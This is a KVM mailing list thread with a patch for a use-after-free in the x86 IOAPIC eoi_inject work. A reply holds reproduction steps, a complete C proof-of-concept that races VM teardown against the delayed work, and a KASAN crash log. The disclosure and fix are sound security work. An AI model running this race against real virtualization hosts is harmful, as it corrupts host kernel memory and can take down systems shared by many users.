* [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs
@ 2026-07-05 5:04 Weiming Shi
2026-07-05 5:18 ` 王众
2026-07-06 9:09 ` Huang, Kai
0 siblings, 2 replies; 4+ messages in thread
From: Weiming Shi @ 2026-07-05 5:04 UTC (permalink / raw)
To: Sean Christopherson, Paolo Bonzini
Cc: kvm, Weiming Shi, Xuanqing Shi, Zhong Wang
kvm_ioapic_eoi_inject_work() re-delivers a throttled level-triggered
interrupt via kvm_irq_delivery_to_apic(), which walks kvm->arch.apic_map
and dereferences the destination vCPU's APIC. The work is cancelled only
in kvm_ioapic_destroy(), which runs after kvm_destroy_vcpus() has freed
the vCPUs and their APICs. kvm_free_lapic() does not rebuild apic_map, so
the map is left with dangling pointers, and a work item that fires during
that window reads freed memory:
BUG: KASAN: slab-use-after-free in __kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
Read of size 8 by task kworker/3:1
Workqueue: events kvm_ioapic_eoi_inject_work
__kvm_irq_delivery_to_apic_fast (arch/x86/kvm/lapic.c:1248)
__kvm_irq_delivery_to_apic (arch/x86/kvm/lapic.c:1343)
ioapic_service (arch/x86/kvm/ioapic.c:492)
kvm_ioapic_eoi_inject_work (arch/x86/kvm/ioapic.c:525)
process_one_work
Freed by task 153:
kvm_arch_vcpu_destroy (arch/x86/kvm/x86.c:12871)
kvm_destroy_vcpus (virt/kvm/kvm_main.c:489)
kvm_arch_destroy_vm (arch/x86/kvm/x86.c:13402)
kvm_destroy_vm (virt/kvm/kvm_main.c:1302)
kvm_vm_release (virt/kvm/kvm_main.c:1363)
A guest arms the work by EOIing a level-triggered pin 10000 times in a
row, so the window is reachable from guest ring 0 whenever its VM is torn
down soon after.
Add kvm_ioapic_pre_destroy() and call it from kvm_arch_pre_destroy_vm(),
which already stops the PIT and the kvmclock/MMU workers before vCPUs are
freed for the same reason.
Fixes: 184564efae4d ("kvm: ioapic: conditionally delay irq delivery duringeoi broadcast")
Reported-by: Zhong Wang <wangzhong.c0ss4ck@bytedance.com>
Reported-by: Xuanqing Shi <shixuanqing.11@bytedance.com>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
arch/x86/kvm/ioapic.c | 8 ++++++++
arch/x86/kvm/ioapic.h | 1 +
arch/x86/kvm/x86.c | 1 +
3 files changed, 10 insertions(+)
diff --git a/arch/x86/kvm/ioapic.c b/arch/x86/kvm/ioapic.c
index eed96ff6e722..51b7b0807bb6 100644
--- a/arch/x86/kvm/ioapic.c
+++ b/arch/x86/kvm/ioapic.c
@@ -740,6 +740,14 @@ int kvm_ioapic_init(struct kvm *kvm)
return ret;
}
+void kvm_ioapic_pre_destroy(struct kvm *kvm)
+{
+ struct kvm_ioapic *ioapic = kvm->arch.vioapic;
+
+ if (ioapic)
+ cancel_delayed_work_sync(&ioapic->eoi_inject);
+}
+
void kvm_ioapic_destroy(struct kvm *kvm)
{
struct kvm_ioapic *ioapic = kvm->arch.vioapic;
diff --git a/arch/x86/kvm/ioapic.h b/arch/x86/kvm/ioapic.h
index 3dadae093690..5bfbae63f368 100644
--- a/arch/x86/kvm/ioapic.h
+++ b/arch/x86/kvm/ioapic.h
@@ -105,6 +105,7 @@ void kvm_rtc_eoi_tracking_restore_one(struct kvm_vcpu *vcpu);
void kvm_ioapic_update_eoi(struct kvm_vcpu *vcpu, int vector,
int trigger_mode);
int kvm_ioapic_init(struct kvm *kvm);
+void kvm_ioapic_pre_destroy(struct kvm *kvm);
void kvm_ioapic_destroy(struct kvm *kvm);
int kvm_ioapic_set_irq(struct kvm_kernel_irq_routing_entry *e, struct kvm *kvm,
int irq_source_id, int level, bool line_status);
diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
index fd1c4a36b593..3c03fd75c93b 100644
--- a/arch/x86/kvm/x86.c
+++ b/arch/x86/kvm/x86.c
@@ -13374,6 +13374,7 @@ void kvm_arch_pre_destroy_vm(struct kvm *kvm)
*/
#ifdef CONFIG_KVM_IOAPIC
kvm_free_pit(kvm);
+ kvm_ioapic_pre_destroy(kvm);
#endif
kvm_mmu_pre_destroy_vm(kvm);
--
2.54.0
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs
2026-07-05 5:04 [PATCH] KVM: x86/ioapic: Cancel eoi_inject work before destroying vCPUs Weiming Shi
@ 2026-07-05 5:18 ` 王众
2026-07-06 9:09 ` Huang, Kai
1 sibling, 0 replies; 4+ messages in thread
From: 王众 @ 2026-07-05 5:18 UTC (permalink / raw)
To: Weiming Shi
Cc: Sean Christopherson, Paolo Bonzini, kvm, Weiming Shi,
Xuanqing Shi
Reproduction Steps
1. prepare x86_64 kernel image
```
make O=build-kasan-outline x86_64_defconfig
./scripts/config --file build-kasan-outline/.config \
-e MODULES \
-m KVM -m KVM_AMD -m KVM_INTEL -e KVM_IOAPIC \
-e KASAN -e KASAN_GENERIC -e KASAN_OUTLINE \
-d KASAN_INLINE -e KASAN_STACK -e KASAN_VMALLOC -e KASAN_EXTRA_INFO \
-e DEBUG_INFO_DWARF5 -d DEBUG_INFO_NONE \
-e FRAME_POINTER -e UNWINDER_FRAME_POINTER -d UNWINDER_ORC \
-d PANIC_ON_OOPS --set-val PANIC_TIMEOUT 0 \
-e DEVTMPFS -e DEVTMPFS_MOUNT -e BLK_DEV_INITRD \
-e VIRTIO -e VIRTIO_PCI -e VIRTIO_BLK -e VIRTIO_NET
make O=build-kasan-outline olddefconfig
make O=build-kasan-outline -j$(nproc) bzImage modules
make O=build-kasan-outline INSTALL_MOD_PATH=initramfs-kasan-outline modules_install
```
2. prepare qemu + initramfs
Build the PoC statically and copy it into the initramfs:
```
gcc -O2 -static -pthread -Wall -Wextra \
-o initramfs-kasan-outline/bin/kvm-x86-poc kvm-x86-poc.c
```
The minimal initramfs contains BusyBox, libc/ld-linux for BusyBox, the KASAN
kernel modules installed above, and an `/init` script which mounts proc/sys/dev,
loads `kvm` and `kvm_amd`, verifies `/dev/kvm`, then drops to a shell.
Pack the initramfs:
```
(cd initramfs-kasan-outline && \
find . -print0 | cpio --null -ov --format=newc | gzip -9 \
> ../initramfs-kasan-outline.cpio.gz)
```
3. boot qemu with the kernel image
```
qemu-system-x86_64 \
-machine q35 \
-accel tcg,thread=multi \
-cpu max,svm=on,npt=on,vgif=on \
-smp 4 \
-m 4096 \
-kernel build-kasan-outline/arch/x86/boot/bzImage \
-initrd initramfs-kasan-outline.cpio.gz \
-append "console=ttyS0 earlyprintk=serial panic=0 oops=panic panic_on_warn=0 nokaslr" \
-nographic \
-no-reboot \
-serial mon:stdio
```
4. run the PoC inside the guest
(tested on AMD EPYC 9Y24 CPU, theoretically the PoC also works on Intel CPU)
```
modprobe kvm
modprobe kvm_amd
POC_ITERS=100 POC_NVCPU=64 POC_ARM_TIMEOUT_MS=15000 POC_SLEEP_US=10000 /bin/kvm-x86-poc
```
PoC:
```
// SPDX-License-Identifier: GPL-2.0
//
// PoC: KVM in-kernel IOAPIC "delayed EOI-inject" work Use-After-Free
// ==================================================================
//
// Root cause (verified against linux v7.0-rc7 ... v7.2-rc1):
//
// * A guest that keeps a level-triggered IOAPIC pin asserted and EOIs it
// 10000 times in a row makes the host schedule a *delayed_work*:
//
// arch/x86/kvm/ioapic.c :
// kvm_ioapic_update_eoi_one():
// if (ioapic->irq_eoi[pin] == IOAPIC_SUCCESSIVE_IRQ_MAX_COUNT) { // 10000
// schedule_delayed_work(&ioapic->eoi_inject, HZ / 100); // ~10ms
// ...
// }
//
// * That work (kvm_ioapic_eoi_inject_work) re-delivers the IRQ ~10ms later:
// kvm_ioapic_eoi_inject_work() -> ioapic_service()
// -> kvm_irq_delivery_to_apic() -> __kvm_irq_delivery_to_apic_fast()
// -> dst[i] = <stale pointer from kvm->arch.apic_map>
// -> kvm_apic_set_irq(dst[i]->vcpu, ...) -> writes into apic->regs // SINK
//
// * VM teardown frees the vCPUs / LAPICs BEFORE cancelling that work:
// arch/x86/kvm/x86.c : kvm_arch_destroy_vm():
// kvm_destroy_vcpus(kvm); // frees kvm_lapic + free_page(apic->regs)
// ...
// kvm_ioapic_destroy(kvm); // <-- only here: cancel_delayed_work_sync()
//
// kvm_arch_pre_destroy_vm() cancels the PIT / kvmclock / MMU workers but
// NOT ioapic->eoi_inject -- even though its own comment warns that
// "iterating over vCPUs in a different task while vCPUs are being freed
// ... will lead to use-after-free".
//
// kvm_free_lapic() frees the LAPIC and its regs page but does NOT
// recalculate kvm->arch.apic_map, so the map keeps dangling kvm_lapic*
// entries until it is itself freed (after kvm_ioapic_destroy()).
//
// => If the ~10ms timer fires while / after kvm_destroy_vcpus() has freed the
// target LAPIC, the work writes into freed memory: slab-use-after-free.
//
// This is a RACE. To *observe* it you must run this PoC inside a guest kernel
// built with CONFIG_KASAN=y and CONFIG_KVM_IOAPIC=y (nested virtualization).
// Without KASAN the corruption is silent / intermittent -- do NOT run it on a
// production host.
//
// Strategy:
// for many iterations:
// 1. create a fresh VM with an in-kernel irqchip and N vCPUs
// 2. vCPU0 runs a tiny 32-bit guest that:
// - enables its LAPIC
// - programs IOAPIC pin 1 as level-triggered, vector 0x30, dest APIC 0
// - takes+EOIs the interrupt in a tight loop
// Host counts the EOIs; at #10000 it arms ioapic->eoi_inject (+10ms) and
// pauses delivery. The guest then signals us with `out 0xF4`.
// 3. sleep ~9-10ms so the work's timer is about to expire, then destroy the
// VM (close all fds). If the work fires during kvm_destroy_vcpus() -> UAF.
// The per-iteration sleep is swept slightly to cover scheduling jitter.
//
// Build (static, for a minimal initramfs): gcc -O2 -static -pthread -o poc kvm_ioapic_eoi_uaf.c
//
// Env knobs: POC_ITERS (default 200000) POC_NVCPU (default 16)
// POC_SLEEP_US (base sleep, default 9000)
//
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <linux/kvm.h>
#define GUEST_MEM_SIZE (4 * 1024 * 1024) // 4 MiB of low RAM
#define ENTRY_GPA 0x1000
#define HANDLER_GPA 0x1200
#define IDT_GPA 0x2000
#define GDT_GPA 0x3000
#define COUNTER_GPA 0x4000
#define STACK_GPA 0x8000
#define IOAPIC_PIN 1 // GSI 1
#define GUEST_VECTOR 0x30
// -------- guest machine code (32-bit protected mode, flat, no paging) --------
//
// Entry @ 0x1000: enable LAPIC, program IOAPIC RTE for pin 1, sti, poll counter
// until it reaches 10000, then `out 0xF4` to signal "armed", then hlt-loop.
static const uint8_t guest_entry[] = {
/* mov edi, 0xFEE000F0 */ 0xBF, 0xF0, 0x00, 0xE0, 0xFE,
/* mov eax, 0x000001FF */ 0xB8, 0xFF, 0x01, 0x00, 0x00,
/* mov [edi], eax ; LAPIC SVR */ 0x89, 0x07,
/* mov esi, 0xFEC00000 ; IOAPIC */ 0xBE, 0x00, 0x00, 0xC0, 0xFE,
/* mov ecx, 0xFEC00010 ; data */ 0xB9, 0x10, 0x00, 0xC0, 0xFE,
/* mov eax, 0x13 ; RTE1 high */ 0xB8, 0x13, 0x00, 0x00, 0x00,
/* mov [esi], eax */ 0x89, 0x06,
/* xor eax, eax */ 0x31, 0xC0,
/* mov [ecx], eax ; dest = 0 */ 0x89, 0x01,
/* mov eax, 0x12 ; RTE1 low */ 0xB8, 0x12, 0x00, 0x00, 0x00,
/* mov [esi], eax */ 0x89, 0x06,
/* mov eax, 0x00008030 ; vec|lvl */ 0xB8, 0x30, 0x80, 0x00, 0x00,
/* mov [ecx], eax */ 0x89, 0x01,
/* sti */ 0xFB,
/* poll: */
/* cmp dword [0x4000], 10000 */ 0x81, 0x3D, 0x00, 0x40, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00,
/* jb poll ; -12 */ 0x72, 0xF4,
/* mov al, 0 */ 0xB0, 0x00,
/* out 0xF4, al ; signal armed */ 0xE6, 0xF4,
/* done: hlt */ 0xF4,
/* jmp done ; -3 */ 0xEB, 0xFD,
};
// Handler @ 0x1200: write LAPIC EOI, inc counter, iretd.
static const uint8_t guest_handler[] = {
/* mov edi, 0xFEE000B0 */ 0xBF, 0xB0, 0x00, 0xE0, 0xFE,
/* xor eax, eax */ 0x31, 0xC0,
/* mov [edi], eax ; LAPIC EOI */ 0x89, 0x07,
/* inc dword [0x4000] */ 0xFF, 0x05, 0x00, 0x40, 0x00, 0x00,
/* iretd */ 0xCF,
};
static int kvm_fd = -1;
static int dbg = 0; // POC_DEBUG=1 -> print exit reasons
void noop_handler(int sig); // defined at end of file
struct vm {
int vm_fd;
int nvcpu;
int *vcpu_fd; // [nvcpu]
struct kvm_run *run0; // vCPU0's run struct
size_t run0_sz;
uint8_t *mem; // guest RAM (host mapping)
};
// vCPU0 thread state
static volatile int g_armed;
static volatile int g_stop;
static void die(const char *m) { perror(m); exit(1); }
// Build one 32-bit interrupt gate (8 bytes) into `dst`.
static void set_idt_gate(uint8_t *idt, int vec, uint32_t handler, uint16_t sel)
{
uint8_t *g = idt + vec * 8;
g[0] = handler & 0xff;
g[1] = (handler >> 8) & 0xff;
g[2] = sel & 0xff;
g[3] = (sel >> 8) & 0xff;
g[4] = 0;
g[5] = 0x8E; // present, DPL0, 32-bit interrupt gate
g[6] = (handler >> 16) & 0xff;
g[7] = (handler >> 24) & 0xff;
}
static void set_flat_seg(struct kvm_segment *s, uint16_t sel, uint8_t type)
{
memset(s, 0, sizeof(*s));
s->selector = sel;
s->base = 0;
s->limit = 0xffffffff;
s->type = type; // 0xB code, 0x3 data
s->present = 1;
s->dpl = 0;
s->db = 1; // 32-bit
s->s = 1; // code/data (not system)
s->l = 0;
s->g = 1; // 4KiB granularity
s->avl = 0;
}
static void setup_guest_memory(struct vm *vm)
{
uint8_t *m = vm->mem;
// Code + handler.
memcpy(m + ENTRY_GPA, guest_entry, sizeof(guest_entry));
memcpy(m + HANDLER_GPA, guest_handler, sizeof(guest_handler));
// IDT: point *every* vector at the handler (code selector 0x08). The real
// IRQ is 0x30, but the LAPIC can also raise its spurious vector (0xFF) etc.;
// leaving those gates empty faults into a null gate -> triple fault. The
// handler is generic (EOI + inc + iretd) so it is safe for any vector.
for (int v = 0; v < 256; v++)
set_idt_gate(m + IDT_GPA, v, HANDLER_GPA, 0x08);
// GDT: null / flat code (0x08) / flat data (0x10).
static const uint8_t gdt[24] = {
0,0,0,0,0,0,0,0, // null
0xFF,0xFF,0,0,0, 0x9A, 0xCF, 0, // 0x08 code, base0 lim4G g=1 db=1
0xFF,0xFF,0,0,0, 0x92, 0xCF, 0, // 0x10 data
};
memcpy(m + GDT_GPA, gdt, sizeof(gdt));
// Counter starts at 0 (mem is fresh MAP_ANONYMOUS, already zeroed).
}
static void setup_vcpu0_regs(struct vm *vm)
{
int fd = vm->vcpu_fd[0];
struct kvm_sregs sregs;
struct kvm_regs regs;
if (ioctl(fd, KVM_GET_SREGS, &sregs) < 0) die("KVM_GET_SREGS");
set_flat_seg(&sregs.cs, 0x08, 0xB); // exec/read, accessed
set_flat_seg(&sregs.ds, 0x10, 0x3);
sregs.es = sregs.fs = sregs.gs = sregs.ss = sregs.ds;
sregs.es.selector = sregs.fs.selector = sregs.gs.selector = sregs.ss.selector = 0x10;
sregs.gdt.base = GDT_GPA; sregs.gdt.limit = 0x17;
sregs.idt.base = IDT_GPA; sregs.idt.limit = 0x7FF;
sregs.cr0 = 0x11; // PE=1, ET=1 (paging OFF)
sregs.cr2 = sregs.cr3 = sregs.cr4 = 0;
sregs.efer = 0;
if (ioctl(fd, KVM_SET_SREGS, &sregs) < 0) die("KVM_SET_SREGS");
memset(®s, 0, sizeof(regs));
regs.rip = ENTRY_GPA;
regs.rsp = STACK_GPA;
regs.rflags = 0x2; // reserved bit; IF set later by `sti`
if (ioctl(fd, KVM_SET_REGS, ®s) < 0) die("KVM_SET_REGS");
}
static void *vcpu0_thread(void *arg)
{
struct vm *vm = arg;
struct kvm_run *run = vm->run0;
for (;;) {
int r = ioctl(vm->vcpu_fd[0], KVM_RUN, 0);
if (r < 0) {
if (errno == EINTR) {
if (g_stop) return NULL;
continue;
}
if (dbg) fprintf(stderr, "[dbg] KVM_RUN errno=%d\n", errno);
return NULL;
}
if (dbg) {
struct kvm_regs rg; ioctl(vm->vcpu_fd[0], KVM_GET_REGS, &rg);
fprintf(stderr, "[dbg] exit=%u rip=%#llx cnt=%u",
run->exit_reason, (unsigned long long)rg.rip,
*(volatile uint32_t *)(vm->mem + COUNTER_GPA));
if (run->exit_reason == KVM_EXIT_IO)
fprintf(stderr, " io.port=%#x dir=%u", run->io.port, run->io.direction);
if (run->exit_reason == KVM_EXIT_INTERNAL_ERROR)
fprintf(stderr, " suberr=%u", run->internal.suberror);
if (run->exit_reason == KVM_EXIT_FAIL_ENTRY)
fprintf(stderr, " hw=%#llx",
(unsigned long long)run->fail_entry.hardware_entry_failure_reason);
fprintf(stderr, "\n");
}
switch (run->exit_reason) {
case KVM_EXIT_IO:
if (run->io.port == 0xF4) { // guest says "work armed"
g_armed = 1;
return NULL;
}
break; // ignore any other port
case KVM_EXIT_HLT:
return NULL;
case KVM_EXIT_SHUTDOWN:
case KVM_EXIT_FAIL_ENTRY:
case KVM_EXIT_INTERNAL_ERROR:
// Typically: host lacks "unrestricted guest" for unpaged PM,
// or a setup bug. Report once from main via g_armed staying 0.
return NULL;
default:
break; // MMIO shouldn't occur (in-kernel devs)
}
}
}
// Create a fresh VM, arm the delayed work, race the teardown against it.
// Returns 1 if the work was armed (iteration "counted"), 0 otherwise.
static int run_iteration(int nvcpu, useconds_t sleep_us)
{
struct vm vm;
memset(&vm, 0, sizeof(vm));
vm.nvcpu = nvcpu;
vm.vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0);
if (vm.vm_fd < 0) die("KVM_CREATE_VM");
// Intel needs a TSS region for the (unpaged) guest; harmless elsewhere.
ioctl(vm.vm_fd, KVM_SET_TSS_ADDR, 0xfffbd000);
// In-kernel PIC + IOAPIC + per-vCPU LAPIC -- the vulnerable IOAPIC lives here.
if (ioctl(vm.vm_fd, KVM_CREATE_IRQCHIP, 0) < 0) die("KVM_CREATE_IRQCHIP");
// Guest RAM.
vm.mem = mmap(NULL, GUEST_MEM_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0);
if (vm.mem == MAP_FAILED) die("mmap guest mem");
struct kvm_userspace_memory_region region = {
.slot = 0,
.guest_phys_addr = 0,
.memory_size = GUEST_MEM_SIZE,
.userspace_addr = (uint64_t)vm.mem,
};
if (ioctl(vm.vm_fd, KVM_SET_USER_MEMORY_REGION, ®ion) < 0)
die("KVM_SET_USER_MEMORY_REGION");
setup_guest_memory(&vm);
// Create N vCPUs. Only vCPU0 runs; the rest exist to widen the teardown
// window in kvm_destroy_vcpus() (more LAPICs to free before the cancel).
vm.vcpu_fd = calloc(nvcpu, sizeof(int));
for (int i = 0; i < nvcpu; i++) {
vm.vcpu_fd[i] = ioctl(vm.vm_fd, KVM_CREATE_VCPU, i);
if (vm.vcpu_fd[i] < 0) die("KVM_CREATE_VCPU");
}
vm.run0_sz = ioctl(kvm_fd, KVM_GET_VCPU_MMAP_SIZE, 0);
vm.run0 = mmap(NULL, vm.run0_sz, PROT_READ | PROT_WRITE,
MAP_SHARED, vm.vcpu_fd[0], 0);
if (vm.run0 == MAP_FAILED) die("mmap kvm_run");
setup_vcpu0_regs(&vm);
// Assert the level-triggered line and keep it high (never deasserted).
struct kvm_irq_level lvl = { .irq = IOAPIC_PIN, .level = 1 };
if (ioctl(vm.vm_fd, KVM_IRQ_LINE, &lvl) < 0) die("KVM_IRQ_LINE");
// Run vCPU0 until it arms the work and signals us.
g_armed = 0;
g_stop = 0;
pthread_t th;
pthread_create(&th, NULL, vcpu0_thread, &vm);
// Wait (bounded) for arming.
struct timespec deadline;
clock_gettime(CLOCK_REALTIME, &deadline);
long arm_timeout_ms = getenv("POC_ARM_TIMEOUT_MS") ?
atol(getenv("POC_ARM_TIMEOUT_MS")) : 500;
if (arm_timeout_ms < 1)
arm_timeout_ms = 1;
deadline.tv_sec += arm_timeout_ms / 1000;
deadline.tv_nsec += (arm_timeout_ms % 1000) * 1000 * 1000;
while (deadline.tv_nsec >= 1000000000) {
deadline.tv_sec++;
deadline.tv_nsec -= 1000000000;
}
if (pthread_timedjoin_np(th, NULL, &deadline) != 0) {
// vCPU stuck (host without unrestricted-guest? APIC issue). Bail out.
g_stop = 1;
pthread_kill(th, SIGUSR1);
pthread_join(th, NULL);
}
int armed = g_armed;
int tfd = -1, mfd = -1;
if (getenv("POC_TRACE_ON")) {
tfd = open("/sys/kernel/tracing/tracing_on", O_WRONLY);
if (tfd >= 0) { if (write(tfd, "1", 1) < 0) {/*ignore*/} }
mfd = open("/sys/kernel/tracing/trace_marker", O_WRONLY);
if (mfd >= 0) { if (write(mfd, "POC_ARMED", 9) < 0) {/*ignore*/} }
}
// The work will fire ~10ms after arming. Sleep so that our destroy lands
// right as the timer expires -> kvm_destroy_vcpus() frees LAPICs while the
// work executes -> use-after-free.
if (armed)
usleep(sleep_us);
// ---- teardown (triggers kvm_destroy_vm -> the racy path) ----
struct timespec t0, t1;
if (dbg) clock_gettime(CLOCK_MONOTONIC, &t0);
munmap(vm.run0, vm.run0_sz);
for (int i = 0; i < nvcpu; i++)
close(vm.vcpu_fd[i]); // drop per-vCPU kvm references
munmap(vm.mem, GUEST_MEM_SIZE);
if (mfd >= 0) { if (write(mfd, "POC_CLOSE_VM", 12) < 0) {/*ignore*/} }
close(vm.vm_fd); // last ref -> destroy runs here
if (mfd >= 0) { if (write(mfd, "POC_CLOSED", 10) < 0) {/*ignore*/} close(mfd); }
if (tfd >= 0) { if (write(tfd, "0", 1) < 0) {/*ignore*/} close(tfd); }
if (dbg) {
clock_gettime(CLOCK_MONOTONIC, &t1);
long us = (t1.tv_sec - t0.tv_sec) * 1000000L + (t1.tv_nsec - t0.tv_nsec) / 1000;
fprintf(stderr, "[dbg] teardown(nvcpu=%d) = %ld us (sleep was %u us)\n",
nvcpu, us, sleep_us);
}
free(vm.vcpu_fd);
return armed;
}
int main(void)
{
// Defaults are the empirically-confirmed sweet spot on a HZ=1000 KASAN
// kernel: ~32 vCPUs makes kvm_destroy_vcpus() free vCPU0 at ~CLOSE+7ms and
// reach kvm_ioapic_destroy() (the cancel) at ~CLOSE+10ms, straddling the
// work's ~10ms fire time -> the work delivers to the just-freed vCPU0.
long iters = getenv("POC_ITERS") ? atol(getenv("POC_ITERS")) : 200000;
int nvcpu = getenv("POC_NVCPU") ? atoi(getenv("POC_NVCPU")) : 32;
long base_us = getenv("POC_SLEEP_US")? atol(getenv("POC_SLEEP_US")): 0;
if (nvcpu < 1) nvcpu = 1;
dbg = getenv("POC_DEBUG") ? atoi(getenv("POC_DEBUG")) : 0;
// A noop SIGUSR1 handler (no SA_RESTART) so pthread_kill() can EINTR a
// stuck KVM_RUN in the vCPU thread.
struct sigaction s;
memset(&s, 0, sizeof(s));
s.sa_handler = noop_handler;
s.sa_flags = 0;
sigaction(SIGUSR1, &s, NULL);
kvm_fd = open("/dev/kvm", O_RDWR | O_CLOEXEC);
if (kvm_fd < 0) die("open /dev/kvm");
int api = ioctl(kvm_fd, KVM_GET_API_VERSION, 0);
if (api != KVM_API_VERSION) { fprintf(stderr, "KVM API %d\n", api); return 1; }
fprintf(stderr,
"[*] IOAPIC eoi_inject UAF race: iters=%ld nvcpu=%d base_sleep=%ldus\n"
"[*] Needs a KASAN guest kernel to *observe* the UAF. Ctrl-C to stop.\n",
iters, nvcpu, base_us);
long armed_ok = 0;
for (long i = 0; i < iters; i++) {
// Start teardown ASAP (tiny sleep) so kvm_destroy_vcpus() frees the
// target LAPIC (vCPU0, freed first, within ~100us) BEFORE the eoi_inject
// timer fires. With many vCPUs the free loop lasts many ms, so
// kvm_ioapic_destroy() (which cancels the work) is reached only long
// after the timer fires -> the work delivers to freed vCPU0 -> UAF.
useconds_t sleep_us = (useconds_t)(base_us + (i % 1500)); // ~0 .. 1.5 ms
armed_ok += run_iteration(nvcpu, sleep_us);
if ((i % 500) == 0)
fprintf(stderr, "\r[*] iter=%ld armed=%ld ", i, armed_ok);
}
fprintf(stderr, "\n[*] done (no crash observed in %ld iters)\n", iters);
return 0;
}
// Separate TU-visible noop so -O2 can't fold it away in a surprising manner.
void noop_handler(int sig) { (void)sig; }
```
crash log
```
/ # POC_ITERS=100 POC_NVCPU=64 POC_ARM_TIMEOUT_MS=15000 POC_SLEEP_US=10000 /bin/kvm-x86-poc
[*] IOAPIC eoi_inject UAF race: iters=100 nvcpu=64 base_sleep=10000us
[*] Needs a KASAN guest kernel to *observe* the UAF. Ctrl-C to stop.
[*] iter=0 armed=1 [ 50.773111] ==================================================================
[ 50.775501] BUG: KASAN: slab-use-after-free in __kvm_irq_delivery_to_apic_fast+0x29f/0x3e0 [kvm]
[ 50.778186] Read of size 8 at addr ff1100010a2906a0 by task kworker/3:1/47
[ 50.778450]
[ 50.779189] CPU: 3 UID: 0 PID: 47 Comm: kworker/3:1 Not tainted 7.2.0-rc1 #1 PREEMPT(lazy)
[ 50.779420] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014
[ 50.779572] Workqueue: events kvm_ioapic_eoi_inject_work [kvm]
[ 50.781876] Call Trace:
[ 50.781950] <TASK>
[ 50.782031] dump_stack_lvl+0x5f/0x80
[ 50.782382] print_report+0xd1/0x5d0
[ 50.782441] ? __virt_addr_valid+0xf1/0x1a0
[ 50.782489] ? kasan_complete_mode_report_info+0x80/0x210
[ 50.782541] kasan_report+0xeb/0x120
[ 50.782605] ? __kvm_irq_delivery_to_apic_fast+0x29f/0x3e0 [kvm]
[ 50.784322] ? __kvm_irq_delivery_to_apic_fast+0x29f/0x3e0 [kvm]
[ 50.786015] __asan_load8+0x82/0xb0
[ 50.786101] __kvm_irq_delivery_to_apic_fast+0x29f/0x3e0 [kvm]
[ 50.787814] ? __pfx___kvm_irq_delivery_to_apic_fast+0x10/0x10 [kvm]
[ 50.789532] ? ktime_get+0x70/0x110
[ 50.789600] ? lapic_next_event+0x14/0x20
[ 50.789649] ? clockevents_program_event+0x1cd/0x410
[ 50.789704] __kvm_irq_delivery_to_apic+0xc7/0x5d0 [kvm]
[ 50.791399] ? __kasan_check_write+0x18/0x20
[ 50.791449] ? __update_load_avg_cfs_rq+0x2db/0x5e0
[ 50.791492] ? cpuacct_charge+0x8b/0xb0
[ 50.791536] ? __pfx___kvm_irq_delivery_to_apic+0x10/0x10 [kvm]
[ 50.793217] ? pick_eevdf+0x2f9/0x330
[ 50.793268] ? rb_insert_color+0x183/0x2a0
[ 50.793337] ioapic_service+0x291/0x2c0 [kvm]
[ 50.795009] ? __pfx_ioapic_service+0x10/0x10 [kvm]
[ 50.796697] ? __pfx__raw_spin_lock+0x10/0x10
[ 50.796752] kvm_ioapic_eoi_inject_work+0xaa/0xd0 [kvm]
[ 50.798437] process_one_work+0x373/0x710
[ 50.798505] worker_thread+0x284/0x4d0
[ 50.798560] ? __pfx_worker_thread+0x10/0x10
[ 50.798607] kthread+0x1b9/0x200
[ 50.798670] ? __pfx_kthread+0x10/0x10
[ 50.798709] ret_from_fork+0x2b8/0x490
[ 50.798753] ? __pfx_ret_from_fork+0x10/0x10
[ 50.798794] ? __asan_storeN+0x16/0x20
[ 50.798833] ? __switch_to+0x2fb/0x720
[ 50.798878] ? __pfx_kthread+0x10/0x10
[ 50.798920] ret_from_fork_asm+0x1a/0x30
[ 50.799004] </TASK>
[ 50.799081]
[ 50.803914] Allocated by task 109 on cpu 1 at 48.240120s:
[ 50.804161] kasan_save_stack+0x3d/0x60
[ 50.804408] kasan_save_track+0x1c/0x70
[ 50.804559] kasan_save_alloc_info+0x3b/0x50
[ 50.804750] __kasan_kmalloc+0x9c/0xa0
[ 50.804888] __kmalloc_cache_noprof+0x162/0x3a0
[ 50.805040] kvm_create_lapic+0x59/0x230 [kvm]
[ 50.806856] kvm_arch_vcpu_create+0x102/0x4d0 [kvm]
[ 50.808719] kvm_vm_ioctl+0xa82/0x18b0 [kvm]
[ 50.810483] __x64_sys_ioctl+0xcc/0x120
[ 50.810670] x64_sys_call+0xa79/0x2010
[ 50.810815] do_syscall_64+0x102/0x5e0
[ 50.810956] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 50.811144]
[ 50.811236] Freed by task 109 on cpu 2 at 50.771569s:
[ 50.811400] kasan_save_stack+0x3d/0x60
[ 50.811549] kasan_save_track+0x1c/0x70
[ 50.811711] kasan_save_free_info+0x3f/0x60
[ 50.811868] __kasan_slab_free+0x48/0x70
[ 50.812020] kfree+0x131/0x390
[ 50.812144] kvm_free_lapic+0x88/0xe0 [kvm]
[ 50.813936] kvm_arch_vcpu_destroy+0x15e/0x1f0 [kvm]
[ 50.815728] kvm_destroy_vcpus+0x19b/0x250 [kvm]
[ 50.817491] kvm_arch_destroy_vm+0x62/0x190 [kvm]
[ 50.819274] kvm_put_kvm+0x2b4/0x500 [kvm]
[ 50.821024] kvm_vm_release+0x29/0x40 [kvm]
[ 50.822798] __fput+0x1d3/0x4a0
[ 50.822926] fput_close_sync+0xcc/0x170
[ 50.823068] __x64_sys_close+0x57/0xa0
[ 50.823196] x64_sys_call+0x17bc/0x2010
[ 50.823338] do_syscall_64+0x102/0x5e0
[ 50.823466] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 50.823696]
[ 50.823804] The buggy address belongs to the object at ff1100010a290600
